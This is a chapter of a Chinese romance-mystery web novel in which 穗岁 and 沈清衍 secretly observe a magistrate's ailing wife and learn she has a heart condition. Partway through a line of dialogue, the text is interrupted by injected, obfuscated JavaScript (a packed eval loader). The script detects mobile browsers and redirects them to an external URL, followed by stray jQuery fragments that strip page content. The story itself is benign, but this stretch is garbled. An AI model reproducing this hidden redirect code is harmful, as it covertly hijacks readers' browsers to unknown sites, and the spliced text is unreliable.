25. 万川县7

    沈清衍不知道。


    他拿着手里的玉佩有些不明所以。


    送完东西为什么要跑。


    他把手里的玉佩拿了起来看,在月光的照耀下更显得温润。


    沈清衍想起了穗岁在夜市上解释为什么问他喜欢什么时说的话。


    所以这是送他的回礼?


    那这可真是是他被送过的做工最粗糙,用料最劣质的礼物了。


    心里这样想着,但嘴角却不自觉上扬,把这枚玉佩系在了自己的腰间。


    -


    “早上好啊!”穗岁对着太阳说。


    看到石砖缝里长出的小花,穗岁也蹲下来打着招呼:“早上好啊。”


    边哼着歌边在府里逛着。


    今天她看到沈清衍把她送的玉佩挂在身上啦。


    啦啦啦啦啦啦啦啦啦。


    不管他知不知道送玉佩的含义,反正说明他是喜欢自己这个礼物的哈哈哈。


    送的玉佩都带上了,离她牵沈清衍手还远吗!


    穗岁畅想着美好未来,心情十分愉悦,精力也有些旺盛,打算去吴府的院子里随便逛逛。


    吴府家院子倒是真的大,穗岁逛了半个时辰还没逛完。


    后院的花园中有颗很高大的树,是合欢树,叶子像含羞草,穗岁很想上去碰碰,看看会不会合起来。


    穗岁继续往后面走去,那里有个院落,看起来少有人去,草木有些旺盛,和府上其他地方的井井有条看起来有点不协调。


    但刚走没几十步,便被人拦了下来。


    “不好意思大人,那里不方便外人进去了。”面前的小厮低眉顺眼地说着。


    “为什么?”穗岁有些好奇。


    吴县令是个很大方的人,穗岁去其他地方都没有人来阻止。


    应该是有他的授权。


    那为何她现在还没走到那个院落的门前便不让走了?


    “这……”那个小厮面露难色。


    穗岁见状越发好奇,刚想再开口问问。


    一道温和的声音从旁边插了进来:“没什么不可以说的。”


    穗岁侧身看去,是吴府的管家。


    “这是我们县令夫人的住所。”管家一副笑眯眯地样子说道。


    “那为何……”穗岁有些不解。


    管家表情变得有些凝重,叹了口气:“不瞒您说,我们夫人患了一种很严重的病。”


    “夫人她不喜别人打扰,自己搬来了这个偏点院子,说想要自己好好静养。”


    “平时连我们县令进去都要经过同意。”


    “所以大人,要不您去别的地方逛逛吧。”


    穗岁自然不会当面给管家难堪:“好,祝愿贵府夫人早日康复。”


    谁知管家听了表情更凝重了:“夫人这个病,唉。”


    声音有些小,但穗岁听清了,她微微皱了皱眉,还想再问些什么。


    但那个管家好像突然意识到自己说错了话,连忙微微低头。


    穗岁识趣地没有再问,离开了后院。


    -


    回到自己的住所,穗岁没有立刻把这个发现告诉楚携秋他们,像是什么都没发现一样,一个人回到自己房间,把门关上了。


    庭院里打扫落叶的小厮停下了,扫地的动作顿了一下,看了眼紧闭的房门,又继续慢悠悠地扫了起来。


    “速来我房间,不要被人看到。”


    穗岁给他们的玉简发消息。


    没过一刻钟,大家都到了穗岁的房间里。


    “怎么了穗岁?”楚携秋问道。


    穗岁已经设了隔音的结界,现在也没啥限制,就把自己刚刚发生的事说了出来。


    顺便把之前自己对沈清衍说的那个有关器官的猜想说了出来。


    听完后,楚携秋问:“所以你是怀疑县令夫人?”


    “有点。”穗岁承认。


    “那县令这是在,贼喊捉贼?”江揽星猜测。


    “还不好说,只是怀疑一下,毕竟现在啥证据也没有。”


    穗岁摇了摇头,然后又说道:“所以我打算晚上夜市那里结束后偷偷去看看。”


    “我觉得可以。”楚携秋同意她的决定。


    江揽星也认可。


    沈清衍之前一直默默听着,现在听到穗岁的话后开口说:“我和你一起去。”


    “嗯。”穗岁的脸有些变红。


    “哟哟哟。”江揽星看到笑了起来。


    难得看到穗岁就因为一句话就脸红成这样。


    穗岁抬头瞪了他一眼,脸变得更红了。


    然后把目光投向了楚携秋,管管你们家江揽星。


    楚携秋伸手拧了下江揽星的腰,江揽星反倒笑得更开心了。


    他们在笑什么?


    沈清衍皱眉,看着穗岁红扑扑的脸蛋,第一次有些烦躁。


    穗岁和他们之间有什么他不知道的心照不宣的事吗。


    -


    今天夜市上依旧没有发生什么特别的事。


    穗岁和沈清衍离开夜市后,分别回到了自己的房间。


    房间的灯在他们进去后亮了起来。


    看上去和往常一样。


    “咳咳。”一位看起来柔弱的女子正倚在窗边,顾影自怜。


    一旁的丫鬟听到声响后连忙拿了一件披风,盖在了那位女子的背上。


    然后满是担忧地劝说道:“小姐,您要不现在去歇息吧。”


    “没事,我想再待会。”那位女子摆了摆手。


    看样子听声音,是个很温柔的人呢。


    身桌一袭素衣,身段纤细,扎了个简单的发髻,只有一个素簪插在上面,脸上的气血看起来有些不足,嘴唇泛白。


    是个病美人。


    “那个,我们现在是不是有些离的太近了啊。”穗岁突然觉得有些不自在。


    人家现在正倚在窗边,看样子想在欣赏月亮,但他们两个人现在就好像一堵墙一样,挡在了人家的面前,离窗只有半步的距离。


    虽然知道她们看不到自己,但穗岁就是觉得有些尴尬。


    “那离远点。”沈清衍退了半步。


    现在离她们有一步远了。


    穗岁抽了抽嘴角。


    不是,这,算了。


    反正他们是来打探消息的,离近点也挺好的。


    然后他们就看着她在窗边静静地赏了半个时辰的月亮。


    不是,这窗外有什么好看的啊?


    多聊聊天不行吗,这马上都到睡觉的时间了。


    好累,在墙上靠会。


    又过了一会。


    “咳咳。”女子又忍不住咳嗽起来,但这次显然要更严重点。


    她用帕子捂住了嘴,再移开手帕时,果不其然上面沾染了斑斑点点的血迹。


    “小姐。”丫鬟见状着急地上前。


    “没事,我这心疾,咳咳。”说到一半,又咳了起来。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244868|166347||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    心疾!穗岁本来都快靠在墙上睡过去了,听到这两个字后立马清醒。


    “小姐不要担心,有姑爷在呢。”丫鬟宽慰她道。


    女子咳了好一会才平静下来,半响没有再说话。


    她垂下眼帘,看上去似是很疲倦:“绿玉,我累了。”


    绿玉听到后看上去很高兴,扶着女子到了床边。


    那位夫人苍白的嘴唇染上了血色,整个人看上去更好看了,有种惊心动魄的破碎感。


    不是,现在是想这些的时候吗。


    穗岁把奇奇怪怪的想法赶出了脑海。


    见她们洗漱完,正打算更衣歇息,穗岁用气音凑近对沈清衍说:“我们现在回去吧。”


    因为凑近,穗岁的身体有些靠在了沈清衍的身上,沈清衍感觉到她的一些气息喷在了他的脖颈处,整个身体的感觉好像都集中到了那里,格外敏感。


    “好。”沈清衍的声音在耳边响起。


    穗岁这才意识到他们自现在有些太近了,她连忙拉开距离。


    “不好意思啊,有点不太习惯。”


    总有种做贼的感觉。


    虽然好像也没感觉错。


    “没事。”沈清衍有些不自在地咳了一下,然后离开了这个院子。


    走这么快?


    见他人走了,穗岁于是也离开回到了自己的房间。


    -


    “怎么样了?”


    刚回到自己的房间,一道好奇带着点急切的声音就出来了。


    果不其然是江揽星。


    “没发现什么有用的线索,就是知道那位夫人有心疾。”


    穗岁坐了下来给自己倒了杯茶喝。


    “啊。”江揽星有些失望。


    “不过,她旁边的丫鬟安慰她的时候说:‘有姑爷在呢。’”穗岁想了想把这句话说了出来。


    “唉,不过也不好说,没什么确凿的证据。”


    “姑爷?”楚携秋疑惑地重复了一遍。


    穗岁回她:“是啊,如果我没记错的话。”


    “是吧?”穗岁转头问坐在旁边的沈清衍。


    她应该没记错?


    “是。”沈清衍也给自己倒了杯茶喝着。


    穗岁的眼睛突然亮了起来:“你喜欢喝这个茶嘛?这个茶叶是我自己种的,你要是喜欢我给你一点。”


    这个还是之前自己一个人在山上的时候种的,现在还有好多没有喝完。


    这种茶叶泡茶可好喝了,一点都不涩,很清新,喝完后还有点点的回甜。


    沈清衍喝茶的动作顿了一下,然后放下茶杯应了声:“好。”


    她喜欢喝这种?让人在魔界也种点。


    “真是没眼看。”江揽星在旁边摇头无奈说道。


    楚携秋眉眼也透出些无奈,把话题拉回了正轨:“那个丫鬟不应该和管家一样叫县令老爷吗?”


    “那个丫鬟还叫她叫小姐呢,应该是出嫁前就带着的吧。”穗岁倒是没觉得有什么奇怪。


    那位女子虽然现在看起来柔弱,但气质看起来有种病弱掩盖不住的从容,不像是小户人家能养出来了,没嫁人前家里肯定也是有钱或者有势的。


    现在生这样严重的病,肯定娘家人也很着急吧。


    “对啊!”穗岁找到了切入点:“我们现在不可以打草惊蛇去问县令,但我们可以偷偷去问问她的娘家人啊。”


    说不定会有什么意想不到的线索。